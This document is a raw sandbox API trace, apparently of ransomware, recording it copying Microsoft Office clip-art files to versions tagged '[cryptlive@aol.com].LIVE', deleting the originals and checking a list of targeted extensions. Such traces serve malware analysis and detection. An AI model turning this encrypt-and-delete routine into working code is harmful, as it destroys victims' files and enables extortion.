[0143.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0143.399] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.399] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.400] GetLastError () returned 0x0 [0143.400] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2168, lpOverlapped=0x0) returned 1 [0143.604] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2170, lpOverlapped=0x0) returned 1 [0143.605] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.605] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.605] SetEndOfFile (hFile=0x3b4) returned 1 [0143.605] CloseHandle (hObject=0x3b4) returned 1 [0143.605] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.605] SetEndOfFile (hFile=0x1fc) returned 1 [0143.607] CloseHandle (hObject=0x1fc) returned 1 [0143.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0143.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.611] lstrlenW (lpString=".doc") returned 4 [0143.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.612] lstrlenW (lpString=".docx") returned 5 [0143.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.612] lstrlenW (lpString=".pdf") returned 4 [0143.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.612] lstrlenW (lpString=".xls") returned 4 [0143.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.612] lstrlenW (lpString=".xlsx") returned 5 [0143.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.612] lstrlenW (lpString=".ppt") returned 4 [0143.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.612] lstrlenW (lpString=".zip") returned 4 [0143.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.612] lstrlenW (lpString=".rar") returned 4 [0143.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.612] lstrlenW (lpString=".bz2") returned 4 [0143.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.612] lstrlenW (lpString=".7z") returned 3 [0143.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.612] lstrlenW (lpString=".dbf") returned 4 [0143.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.612] lstrlenW (lpString=".1cd") returned 4 [0143.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.612] lstrlenW (lpString=".jpg") returned 4 [0143.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.612] lstrlenW (lpString=".doc") returned 4 [0143.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.612] lstrlenW (lpString=".docx") returned 5 [0143.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.613] lstrlenW (lpString=".pdf") returned 4 [0143.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.613] lstrlenW (lpString=".xls") returned 4 [0143.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.613] lstrlenW (lpString=".xlsx") returned 5 [0143.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.613] lstrlenW (lpString=".ppt") returned 4 [0143.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.613] lstrlenW (lpString=".zip") returned 4 [0143.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.613] lstrlenW (lpString=".rar") returned 4 [0143.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.613] lstrlenW (lpString=".bz2") returned 4 [0143.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.613] lstrlenW (lpString=".7z") returned 3 [0143.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.613] lstrlenW (lpString=".dbf") returned 4 [0143.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.613] lstrlenW (lpString=".1cd") returned 4 [0143.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0143.613] lstrlenW (lpString=".jpg") returned 4 [0143.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.613] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.613] lstrlenW (lpString="FD00543_.WMF") returned 12 [0143.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.614] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1472) returned 1 [0143.614] CloseHandle (hObject=0x3b4) returned 1 [0143.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x20 [0143.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.614] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.614] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0143.615] GetLastError () returned 0x0 [0143.615] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x5c0, lpOverlapped=0x0) returned 1 [0143.661] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5d0, lpOverlapped=0x0) returned 1 [0143.661] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.662] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.662] SetEndOfFile (hFile=0x394) returned 1 [0143.662] CloseHandle (hObject=0x394) returned 1 [0143.662] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.662] SetEndOfFile (hFile=0x3b4) returned 1 [0143.664] CloseHandle (hObject=0x3b4) returned 1 [0143.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0143.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.665] lstrlenW (lpString=".doc") returned 4 [0143.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.665] lstrlenW (lpString=".docx") returned 5 [0143.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.665] lstrlenW (lpString=".pdf") returned 4 [0143.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.665] lstrlenW (lpString=".xls") returned 4 [0143.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.665] lstrlenW (lpString=".xlsx") returned 5 [0143.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.665] lstrlenW (lpString=".ppt") returned 4 [0143.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.666] lstrlenW (lpString=".zip") returned 4 [0143.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.666] lstrlenW (lpString=".rar") returned 4 [0143.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.666] lstrlenW (lpString=".bz2") returned 4 [0143.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.666] lstrlenW (lpString=".7z") returned 3 [0143.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.666] lstrlenW (lpString=".dbf") returned 4 [0143.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.667] lstrlenW (lpString=".1cd") returned 4 [0143.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.667] lstrlenW (lpString=".jpg") returned 4 [0143.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.667] lstrlenW (lpString=".doc") returned 4 [0143.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.667] lstrlenW (lpString=".docx") returned 5 [0143.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.667] lstrlenW (lpString=".pdf") returned 4 [0143.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.667] lstrlenW (lpString=".xls") returned 4 [0143.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.667] lstrlenW (lpString=".xlsx") returned 5 [0143.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.667] lstrlenW (lpString=".ppt") returned 4 [0143.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.667] lstrlenW (lpString=".zip") returned 4 [0143.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.667] lstrlenW (lpString=".rar") returned 4 [0143.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.667] lstrlenW (lpString=".bz2") returned 4 [0143.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.667] lstrlenW (lpString=".7z") returned 3 [0143.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.667] lstrlenW (lpString=".dbf") returned 4 [0143.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.667] lstrlenW (lpString=".1cd") returned 4 [0143.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0143.668] lstrlenW (lpString=".jpg") returned 4 [0143.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.668] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.668] lstrlenW (lpString="FD00544_.WMF") returned 12 [0143.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.697] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5260) returned 1 [0143.697] CloseHandle (hObject=0x328) returned 1 [0143.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x20 [0143.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.716] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.716] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.716] GetLastError () returned 0x0 [0143.716] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x148c, lpOverlapped=0x0) returned 1 [0143.739] WriteFile (in: hFile=0x388, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1490, lpOverlapped=0x0) returned 1 [0143.740] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.740] WriteFile (in: hFile=0x388, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.740] SetEndOfFile (hFile=0x388) returned 1 [0143.741] CloseHandle (hObject=0x388) returned 1 [0143.741] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.741] SetEndOfFile (hFile=0x384) returned 1 [0143.745] CloseHandle (hObject=0x384) returned 1 [0143.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0143.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.746] lstrlenW (lpString=".doc") returned 4 [0143.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.746] lstrlenW (lpString=".docx") returned 5 [0143.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.746] lstrlenW (lpString=".pdf") returned 4 [0143.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.746] lstrlenW (lpString=".xls") returned 4 [0143.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.746] lstrlenW (lpString=".xlsx") returned 5 [0143.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.747] lstrlenW (lpString=".ppt") returned 4 [0143.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.747] lstrlenW (lpString=".zip") returned 4 [0143.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.747] lstrlenW (lpString=".rar") returned 4 [0143.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.747] lstrlenW (lpString=".bz2") returned 4 [0143.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.747] lstrlenW (lpString=".7z") returned 3 [0143.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.747] lstrlenW (lpString=".dbf") returned 4 [0143.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.747] lstrlenW (lpString=".1cd") returned 4 [0143.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.747] lstrlenW (lpString=".jpg") returned 4 [0143.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.747] lstrlenW (lpString=".doc") returned 4 [0143.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.747] lstrlenW (lpString=".docx") returned 5 [0143.747] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.747] lstrlenW (lpString=".pdf") returned 4 [0143.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.747] lstrlenW (lpString=".xls") returned 4 [0143.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.747] lstrlenW (lpString=".xlsx") returned 5 [0143.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.747] lstrlenW (lpString=".ppt") returned 4 [0143.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.747] lstrlenW (lpString=".zip") returned 4 [0143.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.748] lstrlenW (lpString=".rar") returned 4 [0143.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.748] lstrlenW (lpString=".bz2") returned 4 [0143.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.748] lstrlenW (lpString=".7z") returned 3 [0143.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.748] lstrlenW (lpString=".dbf") returned 4 [0143.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.748] lstrlenW (lpString=".1cd") returned 4 [0143.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0143.748] lstrlenW (lpString=".jpg") returned 4 [0143.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.748] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.748] lstrlenW (lpString="FD00779_.WMF") returned 12 [0143.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.785] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=9010) returned 1 [0143.785] CloseHandle (hObject=0x2f8) returned 1 [0143.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x20 [0143.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.838] SetFilePointerEx (in: hFile=0x3b4, 